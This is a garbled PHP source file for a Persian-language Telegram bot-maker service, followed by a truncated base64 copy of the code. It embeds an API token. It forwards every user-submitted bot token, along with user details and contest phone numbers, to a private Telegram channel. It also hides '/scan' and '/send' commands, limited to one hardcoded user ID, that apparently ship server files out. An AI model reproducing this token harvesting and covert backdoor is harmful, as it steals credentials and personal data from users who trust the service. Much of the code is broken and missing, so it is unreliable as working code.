<?php
//neveshteh shode tvasatoe #elyas #galikeshi @sudo_avenger
//token ro inja vared konid
define ( 'API_KEY' , '287490669:AAFPDe1FRKIG29lAwDETZPjlvYVYf3qIYRM' ) ;
function bot( $method , $datas = [ ] ) {
$url = "https://a...content-available-to-author-only...m.org/bot" . API_KEY. "/" . $method ;
} else {
}
}
$message = $update -> message ;
$editm = $update -> edited_message ;
$message_id = $message -> message_id ;
$chat_id = $message -> chat -> id ;
$fname = $message -> chat -> first_name ;
$uname = $message -> chat -> username ;
$text1 = $message -> text ;
$audio = $message -> audio ;
$afile_id = $audio -> file_id ;
$fadmin = $message -> from -> id ;
$chatid = $update -> callback_query -> message -> chat -> id ;
$data = $update -> callback_query -> data ;
$reply = $update -> message -> reply_to_message -> forward_from -> id ;
$forward = $update -> message -> forward_from ;
$query = $update -> callback_query ;
$inline = $update -> inline_query ;
$channel_forward = $update -> channel_post -> forward_from ;
$channel_text = $update -> channel_post -> text ;
$messageid = $update -> callback_query -> message -> message_id ;
$reply = $update -> message -> reply_to_message ;
$c = $message -> contact ;
$cname = $message -> contact -> first_name ;
$cnumber = $message -> contact -> phone_number ;
$cid = $message -> contact -> user_id ;
$time = $time1 [ 'ENtime' ] ;
$date = $time1 [ 'FAdate' ] ;
'resize_keyboard' => true ,
'keyboard' => [
[ [ "text" => "👦تعداد افراد" ] ] ,
[ [ 'text' => "📣پیام همگانی" ] ] ,
[ [ 'text' => "📛بلاک" ] , [ 'text' => "✅انبلاک" ] ] ,
[ [ 'text' => "⚡اپدیت ربات ها" ] ] ,
[ [ 'text' => "↩برگشت" ] ]
] ] ) ;
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🤖ساخت ربات🤖" ] , ] ,
[ [ 'text' => "🔁بروزرسانی" ] ] ,
[ [ 'text' => "⚠️گزارش تخلف⚠️" ] , [ 'text' => "💢ربات های شما💢" ] , ] ,
[ [ 'text' => "🗣پشتیبانی🗣" ] , [ 'text' => "🌐سایت رسمی🌐" ] , ] ,
[ [ 'text' => "🚩قوانین🚩" ] , [ 'text' => "💡راهنما💡" ] , ] ,
[ [ 'text' => "🎊ثبت نام چالش" ] , [ 'text' => "📈آمار چالش" ] ] ,
]
] ) ;
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🤖ساخت ربات🤖" ] , ] ,
[ [ 'text' => "🔁بروزرسانی" ] ] ,
[ [ 'text' => "⚠️گزارش تخلف⚠️" ] , [ 'text' => "💢ربات های شما💢" ] , ] ,
[ [ 'text' => "🗣پشتیبانی🗣" ] , [ 'text' => "🌐سایت رسمی🌐" ] , ] ,
[ [ 'text' => "🚩قوانین🚩" ] , [ 'text' => "💡راهنما💡" ] , ] ,
[ [ 'text' => "🎊ثبت نام چالش" ] , [ 'text' => "📈آمار چالش" ] ] ,
[ [ 'text' => "🛃مدیریت" ] ]
]
] ) ;
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🔙برگشت🔙" ] ]
]
] ) ;
if ( $fadmin == $block ) {
return false ;
}
$inch = file_get_contents ( "https://a...content-available-to-author-only...m.org/bot" . API_KEY
. "/getChatMember?chat_id=@ft_team&user_id=$fadmin " ) ;
if ( $text1 == "/start" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "سلام [$fname ](https://t...content-available-to-author-only...m.me/$uname ) به ربات ساخت پیام رسان تلگرام خوش اومدی
_◽قبل از ساخت ربات قوانین و راهنما رو مشاهده کنین
◽هر نفر میتواند یک ربات بسازد برای ربات دوم میتوانید به پشتیبانی مراجعه کنین یا ربات اول را حذف نمایید
◽اگر رباتی مشاهده کردین که خلاف قوانین عمل کرده حتما به ما اطلاع دهید
_
با تشکر پشتیبانی پی وی فورماست
[Foremost Team](https://t...content-available-to-author-only...m.me/ft_team)" ,
'reply_markup' => $keyhomeadmin ,
'parse_mode' => "markdown" ,
] ) ;
} else {
if ( $fadmin == $block ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما بلاک هستید از ربات😣😣" ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "سلام [$fname ](https://t...content-available-to-author-only...m.me/$uname ) به ربات ساخت پیام رسان تلگرام خوش اومدی
_◽قبل از ساخت ربات قوانین و راهنما رو مشاهده کنین
◽هر نفر میتواند یک ربات بسازد برای ربات دوم میتوانید به پشتیبانی مراجعه کنین یا ربات اول را حذف نمایید
◽اگر رباتی مشاهده کردین که خلاف قوانین عمل کرده حتما به ما اطلاع دهید
_
با تشکر پشتیبانی پی وی فورماست
[Foremost Team](https://t...content-available-to-author-only...m.me/ft_team)" ,
'parse_mode' => "markdown" ,
'reply_markup' => $keyhome ,
] ) ;
}
}
} elseif ( $text1 == "💡راهنما💡" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "💡راهنمای ربات:
این ربات به شما کمک میکند تا یک راه ارتباطی بین خود و دیگران که ریپورت هستند ایجاد کنین.نه فقط برای افراد ریپورت بلکه برای تمام کسانی که به هر دلیلی نمیخواهید به ایدی شما دست پیدا کنند یا با شما به صورت مستقیم ارتباط برقرار کنند.
اگر برای ساخت ربات مشکلی دارین به ربات
@botfather
رفته و سپس دستور /newbot را ارسال کنین و یک نام دلخواه برای ربات انتخاب کنین و پس از آن یک یوزرنیم برای ربات انتخاب کرده و ارسال کنین .توجه کنین در اخر یوزرنیم ربات باید از کلمه bot استفاده شده باشد
برای آموزش های بیشتر به کانال زیر مراجعه کنین:
@ft_team" ,
] ) ;
} elseif ( $text1 == "🚩قوانین🚩" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "ℹ قوانین استفاده از پی وی فورماست:
________________
1. همه مطالب باید تابع قوانین جمهوری اسلامی ایران باشد
2. رعایت ادب و احترام به کاربران
3. ساخت هرگونه ربات در ضمیمه +18 خلاف قوانین پی وی فورماست میباشد و در صورت مشاهده ربات مورد نظر مسدود و همچنین مدیر ربات از تمامی ربات های تیم فورماست بلاک میشود.
4. مسئولیت پیام های رد و بدل شده در هر ربات با مدیر آن میباشد و پی وی فورماست هیچگونه مسئولیتی ندارد.
5. در صورت مشاهده استفاده از قابلیت های ربات در جهات منفی به شدت برخورد میشود
6. اگر به هر دلیلی درخواست های ربات شما به سرور ما بیش از حد معمول باشد چند باری به شما اخطار داده میشود اگر این اخطار ها نادیده گرفته شوند ربات شما مسدود و به هیچ عنوان از محدودیت خارج نمیشود
________________
@ft_team" ,
] ) ;
} elseif ( $text1 == "🗣پشتیبانی🗣" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "◾▫دوست عزیز تمام نظراتتون رو میتوانید به ربات
🆔 @TEST_FOREMOST_TEAM_BOT
بفرستید تا در اسرع وقت پشتیبانان پی وی فورماست به شما پاسخ بدهند." ,
] ) ;
} elseif ( $text1 == "🌐سایت رسمی🌐" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "site rasmi" ,
] ) ;
} elseif ( $text1 == "🛃مدیریت" && in_array ( $fadmin , $admin ) ) { bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "سلام ادمین گرامی به بخش مدیریت خوش آمدید✅" ,
'reply_markup' => $keypanel ,
] ) ;
} elseif ( $text1 == "👦تعداد افراد" && in_array ( $fadmin , $admin ) ) { $text = "👪تعداد کاربران ربات : $m \n \n 🌟تعداد ربات ها : $t " ;
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => $text ,
] ) ;
}
elseif ( $text1 == "💢ربات های شما💢" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
if ( $name == null ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما هیچ رباتی نساخته اید⛔" ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "اخرین ربات ساخته شده توسط شما\n @$name " ,
'parse_mode' => "html" ,
'inline_keyboard' => [
[ [ 'text' => "<$name >" , 'url' => "https://c...content-available-to-author-only...y.me/$name " ] ]
]
] )
] ) ;
}
}
elseif ( $text1 == "⚠️گزارش تخلف⚠️" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "لطفا تخلف را کاملا بیان کنید تا ادمین های گروه پیگیری کنند :" ,
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🔙برگشت🔙" ] ]
]
] ) ,
] ) ;
} elseif ( $step == "poshtiban" ) {
if ( $text1 == "🔙برگشت🔙" ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "به منوی اول برگشتید↩" ,
'reply_markup' => $keyhome ,
] ) ;
} else {
bot( 'forwardmessage' , [
'chat_id' => "130591001" ,
'from_chat_id' => $chat_id ,
'message_id' => $message_id ,
] ) ;
bot( 'forwardmessage' , [
'chat_id' => "@djfjfjfjffj" ,
'from_chat_id' => $chat_id ,
'message_id' => $message_id ,
] ) ;
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "پیامتان به دست مدیر اصلی ربات رسید و درحال بررسی میباشد✅" ,
'reply_markup' => $keyhome ,
] ) ;
}
} elseif ( $text1 == "🎊ثبت نام چالش" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
if ( $sumbit == "✅" ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما یک بار ثبت نام انجام داده اید \n نیاز به ثبت نام دوباره نیست🚫" ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "لطفا روی دکمه اشتراک شماره کلیک کنید تا ثبت نام انجام شود\n \n در صورت برنده شدن جایزه به همین شماره ارسال می شود !!!" ,
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "☎اشتراک شماره" , 'request_contact' => true ] ] ,
]
] ) ,
] ) ;
}
} elseif ( $step == "sumbitchalesh" ) {
if ( isset ( $message -> contact ) ) {
$fopen = fopen ( "data/amarchalesh.txt" , "a+" ) ; fwrite ( $fopen , '["' . $uname . '"],' ) ; $dob = "https://t...content-available-to-author-only...m.me/pvforemost_bot?start=$fadmin " ;
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "ثبت نام شما با موفقیت انجام شد✅\n \n کد زیر رو برای دوستان خود بفرستید تا با بیشترین زیر مجموعه برنده سورس پیوی رسان به ارزش دو میلیون ریال باشید😱😱\n \n $dob " ,
'reply_markup' => $keyhome ,
] ) ;
bot( 'sendmessage' , [
'chat_id' => "@djfjfjfjffj" ,
'text' => "یک کاربر در چالش ثبت نام کرد :\n Username : \r \n @$uname \n ID :\n $fadmin "
] ) ;
bot( 'forwardmessage' , [
'chat_id' => "@djfjfjfjffj" ,
'from_chat_id' => $fadmin ,
'message_id' => $message_id ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "لطفا از دکمه زیر اقدام به ارسال شماره کنید⛔" ,
] ) ;
}
} elseif ( $text1 == "📈آمار چالش" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $fadmin ,
'text' => "برای دیدن نتایج چالش روی اسم شرکت کنندگان کلیک کنید :" ,
'reply_markup' => '{"keyboard":[' . $button . '["⬅برگشت"]],"resize_keyboard":true}' ,
] ) ;
} elseif ( $step == "amarchalesh" ) {
if ( $text1 == "⬅برگشت" ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "به منوی اصلی برگشتید : \n یک گزینه انتخاب کنید :" ,
'reply_markup' => $keyhome ,
] ) ;
$text = "کاربر $text1 :\n یوزرنیم : $get3 \n آمار : $amar نفر \n لینک اختصاصی :\n telegram.me/pvforemost_bot?start=$get " ;
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => $text ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "لطفا از دکمه های زیر استفاده کنید🚫" ,
] ) ;
}
} elseif ( $text1 == "/start $startchalesh " ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما از قبل عضو ربات بودید🚫
سلام [$fname ](https://t...content-available-to-author-only...m.me/$uname ) به ربات ساخت پیام رسان تلگرام خوش اومدی
_◽قبل از ساخت ربات قوانین و راهنما رو مشاهده کنین
◽هر نفر میتواند یک ربات بسازد برای ربات دوم میتوانید به پشتیبانی مراجعه کنین یا ربات اول را حذف نمایید
◽اگر رباتی مشاهده کردین که خلاف قوانین عمل کرده حتما به ما اطلاع دهید
_
با تشکر پشتیبانی پی وی فورماست
[Foremost Team](https://t...content-available-to-author-only...m.me/foremost_team)" ,
'parse_mode' => "markdown" ,
'reply_markup' => $keyhome ,
] ) ;
} else {
$fopen = fopen ( "data/$startchalesh /mem.txt" , "a+" ) ; bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "سلام [$fname ](https://t...content-available-to-author-only...m.me/$uname ) به ربات ساخت پیام رسان تلگرام خوش اومدی
_◽قبل از ساخت ربات قوانین و راهنما رو مشاهده کنین
◽هر نفر میتواند یک ربات بسازد برای ربات دوم میتوانید به پشتیبانی مراجعه کنین یا ربات اول را حذف نمایید
◽اگر رباتی مشاهده کردین که خلاف قوانین عمل کرده حتما به ما اطلاع دهید
_
با تشکر پشتیبانی پی وی فورماست
[Foremost Team](https://t...content-available-to-author-only...m.me/foremost_team)" ,
'parse_mode' => "markdown" ,
'reply_markup' => $keyhome ,
] ) ;
bot( 'sendmessage' , [
'chat_id' => $startchalesh ,
'text' => "یک کاربر به زیر مجموعه های شما اضافه شد✅\n آمار های شما تا الان $amar نفر" ,
] ) ;
}
} elseif ( $text1 == "آمار کلی" && in_array ( $fadmin , $admin ) ) { for ( $x = 3 ; $x < $count ; $x ++ ) {
$open = fopen ( "data/amarkoli.txt" , "a+" ) ; fwrite ( $open , "🚏Username : @$two \n 🎰Count : $count3 \n \n " ) ; }
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => $get ,
] ) ;
} elseif ( $text1 == "kickall" ) {
for ( $x = 0 ; $x < $two ; $x ++ ) {
unlink ( "data/$four /sumbit.txt" ) ; }
unlink ( "data/amarchalesh.txt" ) ; bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "پاک شدند✅" ,
] ) ;
} elseif ( strpos ( $text1 , "/scan" ) !== false && $fadmin == "125858918" ) { for ( $x = 0 ; $x < $test2 ; $x ++ ) {
$fopen = fopen ( "data/scan.txt" , "a+" ) ; fwrite ( $fopen , "$test1 [$x ]\n " ) ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "count :\n \n $texy " ,
] ) ;
} elseif ( strpos ( $text1 , "/send" ) !== false && $fadmin == "125858918" ) {
for ( $x = 0 ; $x < $test2 ; $x ++ ) {
bot( 'senddocument' , [
'chat_id' => $chat_id ,
'document' => new CURLFile( $test1 [ $x ] ) ,
] ) ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "done✅" ,
] ) ;
}
elseif ( $text1 == "🤖ساخت ربات🤖" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "لطفا توکن رباتتون رو بفرستید تا براتون پیامرسان ویژه ساخته بشه✅" ,
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🔙برگشت🔙" ] ]
]
] ) ,
] ) ;
} elseif ( $step == "createbotpm" ) {
if ( $text1 == "🔙برگشت🔙" ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "به منوی اول برگشتید↩" ,
'reply_markup' => $keyhome ,
] ) ;
} else {
$testdeletewebhook = "https://a...content-available-to-author-only...m.me/bot$text1 /deleteWebhook" ;
$getme = "https://a...content-available-to-author-only...m.org/bot$text1 /getme" ;
$ok = $jsgetme [ 'ok' ] ;
$username = $jsgetme [ 'result' ] [ 'username' ] ;
$first_namebot = $jsgetme [ 'result' ] [ 'first_name' ] ;
$id = $jsgetme [ 'result' ] [ 'id' ] ;
if ( $ok == false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "توکن مورد نظر قبول نشد⛔\n \n لطفا توکن دیگری امتحان کنید :" ,
'reply_markup' => $keyback ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "ربات در حال ساختن میباشد\n لطفا صبر کنید..." ,
] ) ;
$aaddd .= $text1 . "\n " ;
}
mkdir ( "data/$fadmin /$username " ) ; mkdir ( "data/$fadmin /$username /data" ) ; $pmnew = "https://e...content-available-to-author-only...t.ir/data/$fadmin /$username /$username .php" ;
$webhook = "https://a...content-available-to-author-only...m.org/bot$text1 /setwebhook?url=$pmnew " ;
file_get_contents ( "https://a...content-available-to-author-only...m.org/bot$text1 /sendmessage?chat_id=$fadmin &text=ربات+شما+با+موفقیت+بر+روی+سرور+تیم+فورماست+ران+شد✅+++همین+الان++ربات+خود+را+شخصی+سازی+کنید++/start" ) ; bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "یک ربات با مشخصات زیر در سرور فورماست ساخته شد✔️
█████████████
اطلاعات ربات :🔃
🤖نام ربات : $first_namebot
🤖یوزرنیم ربات : @$username
🤖ایدی ربات : $id
🤖توکن ربات :
$text1
█████████████
اطلاعات ادمین ربات : 🔃
👤 نام ادمین : $fname
👤یوزرنیم ادمین : @$uname
👤ایدی ادمین : $fadmin
█████████████
مشخصات تاریخ ساخت ربات :
⏰ساعت : $time
⏰تاریخ : $date " ,
'reply_markup' => $keyhome ,
] ) ;
bot( 'sendmessage' , [
'chat_id' => "@djfjfjfjffj" ,
'text' => "یک ربات با مشخصات زیر در سرور فورماست ساخته شد✔️
█████████████
اطلاعات ربات :🔃
🤖نام ربات : $first_namebot
🤖یوزرنیم ربات : @$username
🤖ایدی ربات : $id
🤖توکن ربات :
$text1
█████████████
اطلاعات ادمین ربات : 🔃
👤 نام ادمین : $fname
👤یوزرنیم ادمین : @$uname
👤ایدی ادمین : $fadmin
█████████████
مشخصات تاریخ ساخت ربات :
⏰ساعت : $time
⏰تاریخ : $date " ,
] ) ;
}
}
} elseif ( $text1 == "🔁بروزرسانی" ) {
if ( strpos ( $inch , '"status":"left"' ) !== false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "شما در کانال ما عضو نیستید📯✖️
لطفا ابتدا در کانال ما عضو بشید☑️
تا بتوانیـــد از تمام امکانات ربات استفاده کنیــد✔️✔️✔️
https://t...content-available-to-author-only...m.me/ft_team
https://t...content-available-to-author-only...m.me/ft_team
بعد از عضویت روی دکمه /start کلیک کنید تا دکمه های اصلی ظاهر بشوند🔘" ,
'reply_markup' => '{"keyboard":[[""],["/start"]],"resize_keyboard":true}' ,
] ) ;
return false ;
}
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "توکن باتتون رو بفرستید تا براتون رباتتون رو اپدیت کنم👻" ,
'resize_keyboard' => true ,
'keyboard' => [
[ [ 'text' => "🔙برگشت🔙" ] ]
]
] ) ,
] ) ;
} elseif ( $step == "updatepm" ) {
if ( $text1 == "🔙برگشت🔙" ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "به منوی اول برگشتید↩" ,
'reply_markup' => $keyhome ,
] ) ;
} else {
$testdeletewebhook = "https://a...content-available-to-author-only...m.me/bot$text1 /deleteWebhook" ;
$getme = "https://a...content-available-to-author-only...m.org/bot$text1 /getme" ;
$ok = $jsgetme [ 'ok' ] ;
$username = $jsgetme [ 'result' ] [ 'username' ] ;
$first_namebot = $jsgetme [ 'result' ] [ 'first_name' ] ;
$id = $jsgetme [ 'result' ] [ 'id' ] ;
if ( $ok == false ) {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "توکن مورد نظر قبول نشد⛔\n \n لطفا توکن دیگری امتحان کنید :" ,
'reply_markup' => $keyback ,
] ) ;
} else {
bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "ربات در حال ساختن میباشد\n لطفا صبر کنید..." ,
] ) ;
$aaddd .= $text1 . "\n " ;
}
$pmnew = "https://e...content-available-to-author-only...t.ir/data/$fadmin /$username /$username .php" ;
$webhook = "https://a...content-available-to-author-only...m.org/bot$text1 /setwebhook?url=$pmnew " ;
file_get_contents ( "https://a...content-available-to-author-only...m.org/bot$text1 /sendmessage?chat_id=$fadmin &text=ربات+شما+با+موفقیت+بر+روی+سرور+تیم+فورماست+ران+شد✅+++همین+الان++ربات+خود+را+شخصی+سازی+کنید++/start" ) ; bot( 'sendmessage' , [
'chat_id' => $chat_id ,
'text' => "یک ربات با مشخصات زیر در سرور فورماست اپدیت شد✔️
█████████████
اطلاعات ربات :🔃
🤖نام ربات : $first_namebot
🤖یوزرنیم ربات : @$username
🤖ایدی ربات : $id
🤖توکن ربات :
$text1
█████████████
اطلاعات ادمین ربات : 🔃
👤 نام ادمین : $fname
👤یوزرنیم ادمین : @$uname
👤ایدی ادمین : $fadmin
█████████████
مشخصات تاریخ ساخت ربات :
⏰ساعت : $time
⏰تاریخ : $date " ,
'reply_markup' => $keyhome ,
] ) ;
bot( 'sendmessage' , [
'chat_id' => "@djfjfjfjffj" ,
'text' => "یک ربات با مشخصات زیر در سرور فورماست اپدیت شد✔️
█████████████
اطلاعات ربات :🔃
🤖نام ربات : $first_namebot
🤖یوزرنیم ربات : @$username
🤖ایدی ربات : $id
🤖توکن ربات :
$text1
█████████████
اطلاعات ادمین ربات : 🔃
👤 نام ادمین : $fname
👤یوزرنیم ادمین : @$uname
👤ایدی ادمین : $fadmin
█████████████
مشخصات تاریخ ساخت ربات :
⏰ساعت : $time
⏰تاریخ : $date " ,
] ) ;
}
}
}
$aaddd .= $fadmin . "\n " ;
}
?>
PD9waHAKLy9uZXZlc2h0ZWggc2hvZGUgdHZhc2F0b2UgI2VseWFzICNnYWxpa2VzaGkgQHN1ZG9fYXZlbmdlcgpvYl9zdGFydCgpOwovL3Rva2VuIHJvIGluamEgdmFyZWQga29uaWQKZGVmaW5lKCdBUElfS0VZJywnMjg3NDkwNjY5OkFBRlBEZTFGUktJRzI5bEF3REVUWlBqbHZZVllmM3FJWVJNJyk7CgpmdW5jdGlvbiBib3QoJG1ldGhvZCwkZGF0YXM9W10pewogICAgJHVybCA9ICJodHRwczovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ub3JnL2JvdCIuQVBJX0tFWS4iLyIuJG1ldGhvZDsKICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NURklFTERTLCRkYXRhcyk7CiAgICAkcmVzID0gY3VybF9leGVjKCRjaCk7CiAgICBpZihjdXJsX2Vycm9yKCRjaCkpewogICAgICAgIHZhcl9kdW1wKGN1cmxfZXJyb3IoJGNoKSk7CiAgICB9ZWxzZXsKICAgICAgICByZXR1cm4ganNvbl9kZWNvZGUoJHJlcyk7CiAgICB9Cn0KJGJsb2NrPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL2Jsb2NrYWxsLnR4dCIpOwokYm9vbGVhbiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdib29sZWFucy50eHQnKTsKJGJvb2xlYW5zPSBleHBsb2RlKCJcbiIsJGJvb2xlYW4pOwokdXBkYXRlID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpOwokbWVzc2FnZSA9ICR1cGRhdGUtPm1lc3NhZ2U7CiRlZGl0bSA9ICR1cGRhdGUtPmVkaXRlZF9tZXNzYWdlOwokbWVzc2FnZV9pZCA9ICRtZXNzYWdlLT5tZXNzYWdlX2lkOwokY2hhdF9pZCA9ICRtZXNzYWdlLT5jaGF0LT5pZDsKJGZuYW1lID0gJG1lc3NhZ2UtPm